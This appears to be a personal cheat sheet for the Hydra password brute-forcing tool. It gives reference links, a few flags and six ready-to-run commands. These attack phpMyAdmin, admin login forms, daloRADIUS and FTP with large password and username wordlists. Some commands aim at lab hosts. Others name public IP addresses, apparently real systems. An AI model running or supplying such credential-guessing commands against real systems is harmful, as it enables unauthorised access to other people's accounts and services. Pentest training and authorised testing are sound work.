hydra
See also, Wordlists
- https://www.freecodecamp.org/news/how-to-use-hydra-pentesting-tutorial/
- Manpage
- GitHub - gnebbia/hydra_notes: Some notes about Hydra for bruteforcing
- A Detailed Guide on Hydra - Hacking Articles
- https://linuxconfig.org/ssh-password-testing-with-hydra-on-kali-linux
- https://github.com/frizb/Hydra-Cheatsheet
- https://infinitelogins.com/2020/02/22/how-to-brute-force-websites-using-hydra/
Using with docker
docker pull vanhauser/hydra
Using with burpsuite
Flags
-t
Threads/ Number of parallel connections per target
-x min:max:charset
generate passwords from min to max length.
-l <user>
User
Examples
hydra -l admin -P /usr/share/wordlists/metasploit/unix_passwords.txt 103.199.155.150 http-post-form "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1&target=index.php&token=cffc2093901d9e5fa2529bbff9dba13fOD:Access denied" -VV -t 6 -I
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p "password!" 103.199.155.150 http-post-form "/Admin/main/index.php:username=^USER^&password=^PASS^:We can't find" -vV -t 6 -I
hydra -l admin -P $WORDLIST_TXT_PATH underpass.htb http-post-form "/daloradius/app/operators/dologin.php:operator_user=^USER^&operator_pass=^PASS^&csrf_token=3efb6367f082dadb0e330da297d7c1d41b4891c6bd19ca6a260645bbd58ccfdb:S=302"
hydra -l admin -P $WORDLIST_TXT_PATH 10.106.14.110 http-post-form "/login.php:username=admin&password=^PASS^&Login=Login&user_token=fcd9028397da5851ccddc7bd37159ab4:F=Login failed"
hydra -l "" -P <path_to_your_wordlist> -t 10 -vV -f 115.127.114.85 http-get '/index.php?secret=^PASS^'
hydra -t 10 -l mike -P /usr/share/wordlists/rockyou.txt -vV 10.10.99.206 ftp